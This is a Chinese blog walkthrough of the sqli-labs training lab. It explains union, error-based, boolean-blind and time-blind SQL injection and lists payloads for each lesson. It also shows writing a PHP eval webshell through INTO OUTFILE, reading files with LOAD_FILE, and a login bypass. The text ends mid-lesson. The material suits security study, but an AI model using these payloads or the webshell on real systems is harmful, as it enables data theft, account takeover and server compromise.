0x01:前言

因为最近感觉手注快忘光了,所以玩一遍sqli-labs巩固一下。

sql注入,基于从服务器接收到的响应分类为 :

▲基于错误的SQL注入

▲联合查询的类型

▲堆查询注射

▲SQL盲注

•基于布尔SQL盲注

•基于时间的SQL盲注

•基于报错的SQL盲注

0x02:环境搭建

基础环境为LAMP,不会搭建的可以看我的这篇https://pureqh.top/?p=65

GitHub下载项目:git clone https://github.com/Audi-1/sqli-labs.git

进入/sqli-labs/sql-connections/,编辑db-creds.inc文件,输入MySQL数据库的密码。

打开网页http://ip/sqli-labs

点击Setup/reset Database for labs

出现以下结果则代表已经安装数据库成功

0x03:开始练习

1、Less 1

字符型注入基础-基于报错的注入

简单测试 ?id=1

?id=1'

提示语法错误,从这句话我们可以得到的信息有:1、数据库为mysql。2、错误点在于id=1 和 LIMIT0,1'之间多了一个'。

解决方法,将LIMIT之前的单引号闭合。即:?id=1'and'1'='1

单引号被闭合后,网页可以正常工作。

可以试一下是否执行了命令:?id=1'and'1'='2,网页非正常显示。

观察源码:此处的语句为

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

可见 Id参数在拼接sql语句时,未对id进行任何的过滤等操作 ,导致了注入漏洞。为了执行查询语句select,需要注释掉末尾的单引号,所以使用注释符--将后面的语句注释,但是直接使用-- 是不能达到效果的,假如输入为:?id=1'order by 2 --

此时语句是这样的: $sql="SELECT * FROM users WHERE id='1'order by 2 --'LIMIT 0,1";

所以单引号依然没有闭合,因为 -- 直接连接了LTMIT,所以应当在 -- 后加空格 但是浏览器传数据的时候不会将输入的空格传到服务器,所以要使用 + 。+ 在sql代表空格的意思,所以当输入为: ?id=1'order by 2 -- +时,语句为: $sql="SELECT * FROM users WHERE id='1'order by 2 -- 'LIMIT 0,1"; ,此时 -- 和后面的语句被空格隔开,不执行。

接下来开始注入:

查询字段数:

?id=1'order by 1 -- +

?id=1'order by 2 -- +

?id=1'order by 3 -- +

?id=1'order by 4 -- + ,当到4时,网站报错

所以表有三个字段,即users表有三列,如下图。

这里要说明一下,有的时候注入order by出来的列和表实际的列是不一样的,例如dvwa ,探测时显示只有两列。

但是数据库查看相应的表时,发现字段比这个多 ,竟然有6列。

那么,我们可以到数据库执行一下 order by 可见结果确实为6列

那为什么差距会这么大呢,其实原因在于dvwa的源码:

它的语句是这样的:"SELECT first_name, last_name FROM users WHERE user_id = '$id'";

没错,它只查询了first_name和last_name两列,所以order by只能查出两列。但是我在数据库查询的是select*,所以查出了六列。

网上大多资料说的order by来猜列数,实际是猜查询出的列数,而不是表实际的列数。order by本来就是指定的结果如何order,针对的就是查询结果而不是原表。所以order by猜解得到的列数还跟在后端的逻辑有关。

好了,继续查可显的字段,我们将id的值改为数据库中不存在的值,99999或者-1,99999不太保险,万一真的有,所以我们一般选择负数,即-1,原理是由于 ,当id的数据在数据库中不存在时,此时我们可以使id=-1,两个sql语句进行联合操作时,当前一个语句选择的内容为空,它就会将后面的语句的内容显示出来,就会返回我们构造的union 的数据。

所以payload为:?id=-1'union select 1,2,3 -- +

可见,可显位置有两个,为login name 和password

我们可以简单试一下,在2和3的位置输入user(),即查看当前用户。

payload: ?id=-1'union select 1,user(),user() -- +

确实是可显的。

接下来查看当前数据库:

payload: ?id=-1'union select 1,database(),3 -- +

接下来梭哈即可

查看所有数据库:group_concat()函数,按照数据库名将该数据库所有表输出排成一行。group_concat(),以id为索引将其参数数据排列为一行。

如下面查数据库名这句:它在数据库 information_schema 内查找表 schemata,并查询schema_name字段,由于没有索引,便会将所有字段输出。

查看所有数据库:

payload: ?id=-1'union select 1, group_concat(schema_name) ,3 from information_schema.schemata -- +

查看当前数据库中的表:

payload:?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' -- +

这里说一下查询机制吧,首先where语句确定了查询数据库的条件,即 数据库名=security 数据库,然后在 information_schema 数据库(没错 information_schema 是一个数据库)查询表 INNODB_SYS_TABLES(准确的来说它是视图不算表,但是实际上他就是一个表)内与数据库 security 有关的所有数据。

查看当前数据库的所有字段:

payload:?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' -- +

查询机制:首先where语句确定了查询数据库的条件,即 数据库名=security 数据库,然后在 information_schema 数据库查询表 INNODB_SYS_COLUMNS(准确的来说它是视图不算表,但是实际上他就是一个表)内与数据库 security 有关的所有字段。 其中,查询依靠的索引为表 INNODB_SYS_TABLES 中的TABLE_ID字段

查看username、password两列的数据:

payload:?id=-1'union select 1,group_concat(username),group_concat(password) from users -- +

2、Less 2

数字型注入基础

尝试让网页报错,继续在参数后加单引号

payload:?id=1',网页抛出错误

提示多了一个单引号,此时的sql语句为:

"SELECT * FROM users WHERE id=$id LIMIT 0,1";

此类型为数字型注入,依然没有任何防御,尝试在参数后加入sql语句。payload:?id=1 and 1 = 1 网页正常

payload:?id=1 and 1 = 2 网页非正常显示,确认存在注入

由于不需要闭合单引号,所以可以直接在语句后插入命令。方法与less1相同,其注释符可有可无。

查看所有数据库:

payload: ?id=-1 union select 1, group_concat(schema_name) ,3 from information_schema.schemata -- +

查看当前数据库中的表:

payload:?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' -- +

查看表users内的字段:

payload:?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' -- +

查看username、password两列的数据:

payload:?id=-1 union select 1,group_concat(username),group_concat(password) from users -- +

3、Less 3

尝试让网页报错,继续在参数后加单引号

payload:?id=1',网页抛出错误

提示'2'')附近有错误,多了一个 ' 此时的sql语句为:

"SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

此类型为字符型注入,只是在参数$id外加了一层括号,为了让语句闭合,需要将$id前面的 (' 闭合,所以应在参数后加 ') 以达到闭合 (' 的作用,末尾加入

--
+ 闭合后面的语句,尝试在参数后加入sql语句。payload:?id=1') and 1 = 1
--
+网页正常

payload: ?id=1') and 1 = 2 -- + 网页非正常显示,确认存在注入

查看所有数据库:

payload: ?id=-2') union select 1, group_concat(schema_name) ,3 from information_schema.schemata -- +

查看当前数据库中的表:

payload:?id=-2') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' -- +

查看表users内的字段:

payload:?id=-2') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' -- +

查看username、password两列的数据:

payload:?id=-2') union select 1,group_concat(username),group_concat(password) from users -- +

4、Less 4

尝试让网页报错,继续在参数后加单引号,发现未报错,继续fuzz,当输入"时,出现报错

payload:?id=1",网页抛出错误

提示多了 ",此时的sql语句为:

$id = '"' . $id . '"';

$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

此类型为数字型注入,在参数$id外加了一层括号和双引号处理,为了让语句闭合,需要将$id前面的 (" 闭合,所以应在参数后加 ") 以达到闭合 (" 的作用,末尾加入 -- + 闭合后面的语句,尝试在参数后加入sql语句。payload:?id=1") and 1=1 -- +网页正常

payload: ?id=1") and 1 = 2 -- + 网页非正常显示,确认存在注入

查看所有数据库:

payload: ?id=-1") union select 1, group_concat(schema_name) ,3 from information_schema.schemata -- +

查看当前数据库中的表:

payload:?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' -- +

查看表users内的字段:

payload:?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' -- +

查看username、password两列的数据:

payload:?id=-1") union select 1,group_concat(username),group_concat(password) from users -- +

5、Less 5

基于布尔的盲注&基于报错的盲注

尝试让网页报错,继续在参数后加单引号,出现报错

MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

提示多了一个单引号,所以闭合$id前面的单引号。

输入payload:?id=1' and ' 1 ' = ' 1

为了在 1' 后面执行命令,所以需要将后面的语句注释掉,输入payload:?id=1' and 1 = 1 -- +同样可以达到闭合语句的效果

但是闭合后并未回显username等信息,而是这样的

我们观察源码

发现如果语句为真,只会返回一句"You are in………..",如果语句为假无数据返回。

由于没有数据回显,所以该类注入为盲注。且由于可以根据返回判断对错,所以为基于布尔的盲注

1、利用left(database(),1)进行尝试

left()函数

left()函数是一个字符串函数,它返回具有指定长度的字符串的左边部分。下面是LEFT()函数的语法

LEFT(str,length);

LEFT()函数接受两个参数:

str是要提取子字符串的字符串。
length是一个正整数,指定将从左边返回的字符数。

所以payload:?id=1' and left(version(),1)='5' -- +,意思是猜解当前数据库版本的第一个字符是什么。

我们的mysql数据库版本为5.7.24,所以当left(version(),1)='5',返回了真,即 5=5 ,sql语句为真,返回了 "You are in……….."

同理,查前两个字符为payload: ?id=1' and left(version(),2)='5.' -- +

length()函数

LENGTH(str) 函数的返回值为字符串的字节长度。

使用 uft8(UNICODE 的一种变长字符编码,又称万国码)编码字符集时,一个汉字是 3 个字节,一个数字或字母是一个字节。

然后看一下数据库的长度 payload:?id=1' and length(database())=8 -- +, 长度为8时,返回正确结果,说明长度为8 ,数据库为 security 正好是8位

猜解数据库第一位,payload:?id=1' and left(database(),1)>'a' -- +

因为第一位是s,s的ASCII码肯定大于a的ASCII码,所以返回真,可以使用二分法猜解。

继续猜解前二位 ,payload:?id=1' and left(database(),2)='se' -- +

继续猜解其他位,只需改变参数length即可

2、 利用substr() ascii()函数进行尝试

根据以上得知数据库名为security,那我们利用此方式获取security数据库下的表。

ascii()函数

ASCII(s) 返回字符串 s 的第一个字符的 ASCII 码。

substr( )函数

SUBSTR(str,pos,len);

这种表示的意思是,就是从pos开始的位置,截取len个字符(空白也算字符)。
需要注意的是:如果pos为1(而不是0),表示从第一个位置开始。
这点也很好理解,因为数据库不是我们平时写程序,他有他自己的一套习惯,数据库的star都是从1开始没有从0开始。

limit子句

limit子句是从0开始的,不得不说MySQL是真的诡异,star从1开始计数,limit从0开始。limit更像数组。

获取security数据库的第一个表的第一个字符:payload:?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80 -- +

此处table_schema可以写成 ='security',但是我们这里使用的database(),是因为此处database()就是security。此处同样的使用二分法进行测试,直到测试正确为止。

继续获取security数据库的第一个表的第一个字符:payload:?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101 -- +

当ascii码大于101时,语句非正常显示,说明数据不大于101,且大于100,所以第一个表的第一个字符为101

这是在MySQL控制台的表顺序,它是按照首字母字母表排序排列的

继续测第一个表的第二个字符:payload:?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>109 -- +

说明第二个字符为ascii码不大于109的,即109,'m'

如何获取第二个表呢?

这里可以看到我们上述的语句中使用的limit 0,1. 意思就是从第0个开始,获取第一个。select语句在当前数据库查找属于当前数据库的所有表,其后使用limit子句截取了第一行,所以整个 (select table_name from information_schema.tables where table_schema=database() limit 0,1) 块返回的是当前数据库的第一个表名 emails ,相当于substr(emails,1,1)

这里我们也可以通过MySQL控制台看一下,首先我们查询未加入limit子句的结果,返回了所有的表,四行。

然后我们查询加入limit 0,1 条件,只显示了第一行

所以如果想查找其他表,只需将limit子句条件改变一下即可。

获取security数据库的第二个表的第一个字符:payload:?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>114 -- +

这里就不重复造轮子了。原理已经解释清楚了。

当你按照方法运行结束后,就可以获取到所有的表的名字。

3、 利用regexp获取users表中的列

获取到表名后,下一步我们需要知道表中的列,也就是字段,payload:?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1) -- +

regexp

MySQL中使用 REGEXP 操作符来进行正则表达式匹配。

所以上述payload: select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1 返回的结果为1

大概意思是当条件 column_name regexp '^username' limit 0,1 (表名username通过正则匹配存在于表users内)查询结果返回1,如果不成立,返回Empty,也就是空,limit 0,1是为了保证只返回一个 1 验证过程如下图。

结合前面的语句 id=1' and 1= 最后的语句应该是 id=1' and 1= 1,所以sql语句为真,返回 You are in...........

同理,也可以将username关键字换为password或其他。

4、 利用ord()和mid()函数获取users表的内容

ord()函数

ORD() 函数返回字符串第一个字符的 ASCII 值。

mid()函数

SQL MID() 函数用于得到一个字符串的一部分

SQL MID() 语法
SELECT MID(column_name,start,[length]) FROM table_name;

字符串从1开始,而非0,Length是可选项,如果没有提供,MID()函数将返回余下的字符串。

举个简单的例子吧:

IFNULL()函数

IFNULL(expr1,expr2)
如果expr1不是NULL,IFNULL()返回expr1,否则它返回expr2。IFNULL()返回一个数字或字符串值,取决于它被使用的上下文环境。

CAST()函数

CAST函数语法规则是:Cast(字段名 as 转换的类型 ),其中 CHAR[(N)]为 字符型

CHAR[(N)] 字符型

所以获取users表中的内容。获取username中的第一行的第一个字符的ascii,与68进行比较,即为D。而我们从表中得知第一行的数据为Dumb。所以接下来只需要重复造轮子即可。

payload:?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68

--
+

上述payload我们分为几段进行解释,其中 IFNULL(CAST(username AS CHAR),0x20) 固定返回username

语句 security.users ORDER BY id LIMIT 0,1 返回数据库security的表users 的第一行数据,结合前面的语句, SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1 会查询 数据库security的表users 的username字段的第一行数据,以id作为order by 的条件(其实这个id有没有无所谓,因为前面已经确认查询username字段了),如下是在MySQL控制台的输出

mid()函数取得到的字符串的第一个字符,即等同于mid(Dump,1,1)

ord()函数取这个字符的ASCII码,所以最终结果为ord(D)

最后通过二分法得到68这个ASCII 所以整个语句为 ?id=1' and 1 -- +

最终返回1,sql语句成立,所以返回 You are in...........

原理就是这样,以此类推向下猜解即可,就不造轮子了。

接下来演示基于报错的盲注

通过构造payload让信息通过错误提示回显出来,原理如下:

  • 由于rand和group+by的冲突,即rand()是不可以作为order by的条件字段,同理也不可以为group by的条件字段。
  • floor(rand(0)*2) 获取不确定又重复的值造成mysql的错误
  • floor:向下取整,只保留整数部分,rand(0) -> 0~1

rand()函数

MySQL RAND()函数调用可以在0和1之间产生一个随机数:

当向 RAND() 函数中传入一个整数作为参数时,RAND() 函数产生的随机数可以重复。

floor()函数

floor函数返回小于等于该值的最大整数.

count()函数

COUNT() 函数返回匹配指定条件的行数。

COUNT(*) 函数返回表中的记录数:

group by 子句

将查询结果按照1个或多个字段进行分组,字段值相同的为一组 ,当group by单独使用时,只显示出每组的第一条记录,单独使用意义不大。

盲注的固有格式:

Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a;  

//explain:此处有三个点,一是需要concat计数,二是floor,取得0 or 1,进行数据的重复,三是group by进行分组, 原理是:在rand()和group by同时使用到的时候,可能会产生超出预期的结果,因为会多次对同一列进行查询 ,产生 Bug 8652

Bug 8652的主要内容就是在使用group by 对一些rand()函数进行操作时会返回duplicate key 错误,而这个错误将会披露关键信息,如

"Duplicate entry '####' for key 1"

这里的####正是用户输入的希望查询的内容

具体原理见: https://blog.csdn.net/he_and/article/details/80455884

以上语句可以简化成如下的形式。

select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))

我们对改语句做剖析:

Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a;  

我们可以将上面的语句拆为以下几步,首先,对视图information_schema.columns 的所有字段进行 rand取随机数

由于rand()函数只取0到1的随机数,所以只用rand(0)取随机数取整的话几乎都是0,所以要对rand(0)*2,这样出来的结果取整后有1也有0,且rand()被指定了参数,随机出的值是可重复的。也就是说rand(0)*2的结果永远都只有一个。

这一步相当于为所有字段赋值,然后使用floor()函数向下取整,最后会得到一串01组成的序列

count(*)对所有数据库的字段进行计数

语句:concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a,将concat()内的排列结果排列为一行,包括自定义区分符号0x3a(:)、user()和输出取整后的rand值,并将这个结果赋值给a。group by 的依据字段便是这个a

我们分析一下group by的执行流程:

在group by语句执行过程中,它会一行一行的去扫描原始表的sage字段,如果找到一个sage在sage-count(*)表中不存在,那么就将这个数据插入sage-count()虚拟表,并置count(*)1,如果sage在sage-count()表中已经存在,那么就在原来的count(*)基础上加1,就这样直到扫描完整个表,就得到我们看到的这个表了。

mysql官方说,在执行group by语句的时候,group by语句后面的字段会被运算两次。

第一次运算:我们之前不是说了会把group by后面的字段值拿到虚拟表中去对比吗,在对比之前肯定要知道group by后面字段的值,所以第一次的运算就发生在这里。

第二次运算:现在假设我们下一次扫描的字段的值没有在虚拟表中出现,也就是group by后面的字段的值在虚拟表中还不存在,那么我们就需要把它插入到虚拟表中,这里在插入时会进行第二次运算,由于rand函数存在一定的随机性,所以第二次运算的结果可能与第一次运算的结果不一致,但是这个运算的结果可能在虚拟表中已经存在了,那么这时的插入必然导致错误!

虚拟表如果存在该数据,则直接在原有的count(*)加1,只运算一次,不需要插入数据,如果不存在该数据(已经在虚拟表查询一次,这是运算的第一次,因为得查询数据是否存在才能决定是否插入),第一次是查询,第二次再插入,所以共执行了两次。由于rand函数存在一定的随机性,所以第二次运算的结果可能与第一次运算的结果不一致,但是这个运算的结果可能在虚拟表中已经存在了,那么这时的插入必然导致错误! 。取整后的rand值运算一次会消耗一个。这样看来,报错注入想要查询的值只要在虚拟表多次插入失败,就可以返回值,因为两个以上相同主键不能存在。

知道原理后,只要将payload:

select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a;  

的 select user() 替换为需要的语句即可

如查询当前数据库的表名:payload:?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x3a,0x3a,floor(rand(0)*2))a from information_schema.tables group by a --+

改变limit选择的序列即可遍历所有的表名。

6、Less 6

输入payload:?id=1,回显依然是 You are in...........

尝试让网页报错,输入payload:?id=1',未报错,fuzz后,发现payload:?id=1",网页报错。

错误信息显示 :在输入1"后sql语句变为了"1""LIMIT 0,1 ,所以多了一个双引号。猜测语句应该是对id做了双引号处理。

$id = '"'.$id.'"';

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

所以如果要进行注入,只需将双引号闭合即可,即payload: ?id=1" and 1 = 1 -- +

然后的操作和 less 5 相同,只需将单引号换为双引号即可,这里只演示一下

?id=1" and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68-- +

7、Less 7

输入payload:?id=1,回显变为了 You are in.... Use outfile......

提示增加了 Use outfile

意思是让我们利用文件导入的方式进行注入

由于错误细节不回显,所以源代码的sql语句只能通过fuzz测试,经过多次测试仍未测出,我们去查看源代码

"SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";

可见sql语句对$id做了双括号和单引号处理,如果继续注入可以使用闭合 ((' 达到效果,即payload:?id=1')) and 1 = 1 -- +

如:payload: ?id=1')) and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68-- +

但是本关是为了 利用文件导入的方式进行注入 ,所以常规注入并不是我们要做的。

INTO OUTFILE 子句

SELECT INTO…OUTFILE语句把表数据导出到一个文本文件中,这种方法只能导出或导入数据的内容,不包括表的结构

SELECT INTO…OUTFILE语法:

select * from Table into outfile '/路径/文件名'

使用into outfile 函数必须知道导出位置的绝对路径,路径目录必须有读写权限

我们尝试将 SELECT * FROM users WHERE id=(('1')) LIMIT 0,1 查询的结果写入一个txt内,payload: ?id=1'))union select 1,2,3 into outfile "/var/lib/mysql-files/1.txt" -- +,这里mysql输出位置为其默认输出目录

虽然显示语法错误,但是txt文件其实已经生成了,由于我的sqli-labs是在ubuntu下的,所以很麻烦的是即使改掉配置不限制输出文件的位置,它也提示无权限导出,就算把那个目录改为MySQL组也不可以。windows应该没问题,因为它没有文件权限限制。所以我输出的txt都在本地验证。

into outfile最大的作用其实是向服务器写入木马,如payload:?id=1'))union select 1,2,'<?php @eval($_POST[cmd])?>' into outfile "/var/lib/mysql-files/1.php" -- +

如果真实环境可以写入www目录下的话,就可以getshell

我们把1.php移动到/var/www/html下,测试后可以getshell

load_file()函数

在MySQL中,LOAD_FILE()函数读取一个文件并将其内容作为字符串返回。

语法

LOAD_FILE(file_name)

其中file_name是文件的完整路径。

演示如下:

之所以不能访问其他资源,依然是因为 secure_file_priv 项默认为/var/lib/mysql-files/,在真实环境中,如果当前用户为root,是可以读取任意文件的,只需知道文件的绝对路径即可。

8、Less 8

依然是盲注类,我们简单测试,payload:?id=1',网站非正常显示

虽然没有回显错误,但是依旧可以猜出服务端的语句

"SELECT * FROM users WHERE id='$id' LIMIT 0,1";

所以,闭合 '$id ,注释尾部语句即可

输入payload: ?id=1' and 1 = 1 -- +,网页正常返回

payload:?id=1' and 1 = 2 -- +,网页非正常显示

这里使用布尔盲注即可完成注入。至于更多的注入方式不多讲了,因为下面会有其他类的详细介绍。

9、Less 9

基于时间的盲注

在这一关无论输入什么值,都会得到相同的返回值,且没有回显的数据和报错,所以只能用延时注入。

我们观察源码就可以看出来,无论SQL语句查询结果如何,网页都会返回相同的信息,所以无法进行布尔盲注。且屏蔽了mysql_error导致无法报错,所以无法进行报错注入

所以,延时注入就派上用场了,延时注入一般用于网页返回统一页面的情况。但是延时注入的缺点也是很明显的,它会耗费大量时间和资源。

IF()函数

在mysql中if()函数的用法类似于java中的三目表达式,其用处也比较多,具体语法如下:

IF(expr1,expr2,expr3),如果expr1的值为true,则返回expr2的值,如果expr1的值为false, 则返回expr3的值。如下。

由于返回界面一样,所以图片已经没有意义了,所以这里只贴正确的payload。

查询当前数据库的第一个字符:payload:?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(5)) -- +

查询当前数据库的第二个字符:payload:?id=1' and if(ascii(substr(database(),2,1))=101,1,sleep(5)) -- +

......

查询得到数据库名为: security

查询当前数据库第一个表的第一个字符:payload: ?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5)) -- +

依次类推,得到emails

查询当前数据库第二个表的第一个字符:payload: ?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5)) -- +

依次类推,得到 referers

最终得到所有表 emails,referers,uagents,users

查询users表中的列:payload: ?id=1'and If(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=85,1,sleep(5)) -- +

由于列有6个,至于为什么查出了6列数据呢,明明只有三个字段,这是因为MySQL 在本地测试的测试的时候,存在一个问题,实际上在security数据库的users的表中,只有id,username,password这3个字段,多出来的其他的字段都是其他数据库的中users表的字段名。

所以多猜几个列即可,最后得到 id,username,password

查询username的第一行的第一个字符的值:payload: ?id=1'and If(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5)) -- +

继续向下猜解即可

10、Less 10

在这一关依然是基于时间的盲注。

由于没办法获得报错信息,所以只能使用if函数猜测sql语句,payload:?id=1' and if(1=1,sleep(5),0)--+,页面没有反馈sleep()函数响应,所以语句未正确执行,所以猜测sql语句不是用单引号闭合的$id,尝试双引号,payload: ?id=1" and if(1=1,sleep(5),0)--+ ,页面成功sleep5秒,所以猜测sql语句为:

$id = '"'.$id.'"';

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

接下来和less9一样的方法注入即可,利用if()函数、substr()函数、ascii()函数以及最重要的sleep()函数。

例如查询数据库 security 内第一行表的第一个字符:

payload:?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5)) -- +

11、Less 11

11关就开始进入了POST注入

POST和GET是HTTP协议中传输数据的两种方式,它们表现为:GET方式传输数据在url中完成,且存在长度限制,过长数据无法传送,而POST的数据是放在请求body里的,没有长度限制。

其实,GET和POST本质上两者没有任何区别。他们都是HTTP协议中的请求方法。底层实现都是基于TCP/IP协议。上述的所谓区别,只是浏览器厂家根据约定,做得限制而已。

HTTP请求,最初设定了八种方法。这八种方法本质上没有任何区别。只是让请求,更加有语义而已。

OPTIONS 返回服务器所支持的请求方法

GET 向服务器获取指定资源

HEAD 与GET一致,只不过响应体不返回,只返回响应头

POST 向服务器提交数据,数据放在请求体里

PUT 与POST相似,只是具有幂等特性,一般用于更新

DELETE 删除服务器指定资源

TRACE 回显服务器端收到的请求,测试的时候会用到这个

CONNECT 预留,暂无使用

废话不多说,注入开始,首先在文本框输入admin/admin,查看页面反馈

尝试在post框输入payload:uname=1'&passwd=1,成功报错

我们观察源码

"SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

(提示:这里服务端使用的查询就是查询了两列,所以order by 只有2)

尝试使用less1的语句,payload:uname=1' order by 2 -- +&passwd=1

payload: uname=-1' union select user(),database() -- +&passwd=1

所以使用less1的报错注入即可

如猜测所有数据库:payload: uname=-1' union select 1,group_concat(schema_name) from information_schema.schemata -- +&passwd=1

这一关还有一点就是注释符,这一关的 # 和 -- +都可以直接使用,不需要对其url编码。原因是GET传参数#时,会被服务端当作锚点处理,因为#代表锚点,是url特殊参数,所以在服务器端接收的时候经常出现数据丢失的情况

所以应该将其转化为url编码:%23

而POST传参不会存在这种识别,所以可以直接使用

另一个引申的名词:万能密码,也是由于POST注入产生的,只要闭合username,密码输入什么都可以登陆成功,这就产生了万能密码这个漏洞。但是这个漏洞也是有条件的,就是必须知道账号,才能闭合语句,注释密码,达到欺骗服务器成功登陆。

举例,假如存在admin账号,但是不知道密码,恰好这个网站存在POST注入,那就可以这样:

admin'#

密码任意

这样就登陆成功了

此时语句是这样的:"SELECT username, password FROM users WHERE username='admin'#' and password='$passwd' LIMIT 0,1";

这里有一点比较好玩的,是关于sql语句优先级的问题。

我们经常用到的一些关键字,select,from,where,group by,order by,它的执行顺序如下:

先执行from关键字后面的语句,明确数据的来源,它是从哪张表取来的。

接着执行where关键字后面的语句,对数据进行筛选。

再接着执行group by后面的语句,对数据进行分组分类。

然后执行select后面的语句,也就是对处理好的数据,具体要取哪一部分。

最后执行order by后面的语句,对最终的结果进行排序。

至于or和and,and的优先级高于or,在MySQL中,and和or相当于与和或,where子句相当于if,且where执行顺序为从左到右,所有的条件都会执行一次,不会因为中间某个条件返回了flase就停止执行,但是如果or在and之前,Mysql会优先执行 and。且在MySQL中,where 1=1 相当于永真, 得到的结果就是未加约束条件的,由于where会执行所有的条件,所以当条件为 where 1=1 时,即会返回无约束的查询结果,下面几个例子正是阐述了where的执行规则

如果where 后面有OR条件的话,则OR自动会把左右的查询条件分开。 where后条件为 and 1=1 or 1=1 ,由于or会将左右的条件分开,所以其最终查询结果为 where username='admin' or 1=1,会拼接所有条件中不重复的结果,所以就会显示所有的查询。

下面的语句其实也是and将左右两边分开了,where username='admin' 返回一条结果 1=2 返回flase,然后两边的结果and后,最终返回了flase 也就是空,如下。

这样就比较明了了。or 和 and 都会把左右两边的条件分开,最后综合比较,由于and优先级高于or,所以下面这个语句是这样执行的:先判断username='admin',然后与1=2and比较,得到结果为flase ,最后flase or 1=1,条件最终变为了where 1=1,所以返回了下列结果。

下面这个例子是这样的:首先判断username='admin',返回了一条数据,然后由于or优先级低于and ,or后面自成一个新的条件,也就是 1=1 and 1=2 ,返回了flase,最终语句会变为 username='admin' or flase 所以会返回username='admin'条件查询到的数据。

12、Less 12

依然尝试构造错误让服务器返回错误信息

发现当payload为:uname=admin"&passwd=admin时,服务器报错

可见在uname=admin"时,语句变为了 ("username""),报错也提示 admin")附近存在错误,且报错提示出现了 ) ,猜测服务器语句做了双引号括号处理

$uname='"'.$uname.'"';

$passwd='"'.$passwd.'"';

$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

所以只需将")闭合即可继续注入,方法与Less1、Less11相同

13、Less 13

依然尝试构造错误让服务器返回错误信息

发现当payload为:uname=admin'&passwd=admin时,服务器报错

可见在uname=admin'时,语句变为了 ('username''),报错也提示 admin')附近存在错误,且报错提示出现了 ) ,猜测服务器语句做了单引号括号处理

$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";

所以只需将')闭合即可继续注入,但是发现即使登陆成功也不显示用户名密码信息,只会显示登陆成功和登陆失败,所以该关卡应该是要用基于布尔的盲注,当然延时注入也可以,为了省事肯定是布尔盲注快一点。

注入方法与less5相同,less5我们已经讲的很详细了。

如 猜解当前数据库第一个表的第一个字符:payload:

uname=admin') and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101 #&passwd=admin

14、Less 14

依然尝试构造错误让服务器返回错误信息

发现当payload为:uname=admin"&passwd=admin时,服务器报错

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin" LIMIT 0,1' at line 1

可见在uname=admin"时,语句变为了 ("username""),报错也提示 admin"附近存在错误,猜测服务器语句做了双引号处理

源码应该是:

$uname='"'.$uname.'"';

$passwd='"'.$passwd.'"';

$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";

我们观察回显,依旧是登陆成功显示success失败显示 failed ,所以闭合单引号后使用基于布尔的盲注即可。

如猜测当前数据库的第一个表的第一个字符:payload: uname=admin" and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101 #&passwd=admin

15、Less 15

这一关我们继续尝试让服务器报错,发现服务器已经不会对语法错误回显了,但是依然可以测试出其语句为:

"SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

测试方法很简单,就是注释尾部语句,尝试闭合语句登陆成功即可

payload:uname=admin' and 1=1#&passwd=admin

这一关依旧显示登陆成功和失败,所以可以使用布尔盲注,当然时间盲注也可以。方法与less5相同。

16、Less 16

这一关我们继续尝试让服务器报错,发现服务器依然不会对语法错误回显,但是依然可以测试出其语句为:

$uname='"'.$uname.'"';

